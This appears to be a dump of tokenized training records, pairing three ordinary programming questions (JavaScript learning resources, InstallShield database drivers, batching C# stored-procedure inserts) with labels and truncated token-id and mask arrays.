[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Where can I find advanced javascript features explained? === I am looking for advanced javascript tutorial. I already written few dozen lines of javascript code however I have never used more advanced language featrues like closures, prototypes and high order functions. Is there any digest which aims these features?
0
[ 2, 113, 92, 31, 477, 2255, 8247, 8741, 967, 2897, 60, 800, 3726, 3726, 31, 589, 699, 26, 2255, 8247, 8741, 29724, 9, 31, 614, 642, 310, 5550, 1560, 16, 8247, 8741, 1797, 207, 31, 57, 243, 147, 91, 2255, 816, 9806, 1820, 160, 101...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What does InstallShield 2008 use for working with databases? === I am using Installshield 2008 Developer Edition and need to run SQL scripts against an existing SQL Server 2005 Express. When I do this without InstallShield, I would have to have some ODBC drivers installed for example. How does InstallShield do this? Does it include some sort of driver? Or does it depend on preexisting drivers?
0
[ 2, 98, 630, 16146, 29026, 570, 275, 26, 638, 29, 6018, 18, 60, 800, 3726, 3726, 31, 589, 568, 16146, 29026, 570, 10058, 1322, 17, 376, 20, 485, 4444, 255, 17505, 149, 40, 3149, 4444, 255, 8128, 812, 2999, 9, 76, 31, 107, 48, 366...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
C#-SQL: How to execute a batch of StoredProcedure? === Actually, I use a SQL stored prodedure to create a row in my database to avoid SQL-injection. In C# I have the following method: public void InsertUser(string userCode) { using (SqlConnection sqlConnection = new SqlConnection(this.connectionString)) { SqlCommand sqlCommand = new SqlCommand("InsertUser", sqlConnection); sqlCommand.CommandType = System.Data.CommandType.StoredProcedure; sqlCommand.Parameters.Add(new SqlParameter("@UserCode", userCode)); sqlConnection.Open(); sqlCommand.ExecuteNonQuery();///0.2 seconds } } It woks great when i have one or two rows to insert. But if i need to create 1.000 users and 10.000 products and 5000 pets, it is not the best solution: I will loose a huge time in netwok transport. I believe, without checkin it, that I can use just a limited amount of callback. So I do not want to call 10.000 times: sqlCommand.BeginExecuteNonQuery() Another way will be to create a batch text, but there is a SQL-Injection risk (and it is ugly). Does there is a 'SqlCommandList' object that manage that in .Net? How do I do large writing in database? What the good patern for that?
0
[ 2, 272, 5910, 8, 18, 22402, 45, 184, 20, 15644, 21, 13064, 16, 8214, 15617, 69, 4221, 60, 800, 3726, 3726, 1121, 15, 31, 275, 21, 4444, 255, 8214, 895, 7424, 4221, 20, 1600, 21, 3131, 19, 51, 6018, 20, 2658, 4444, 255, 8, 108, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...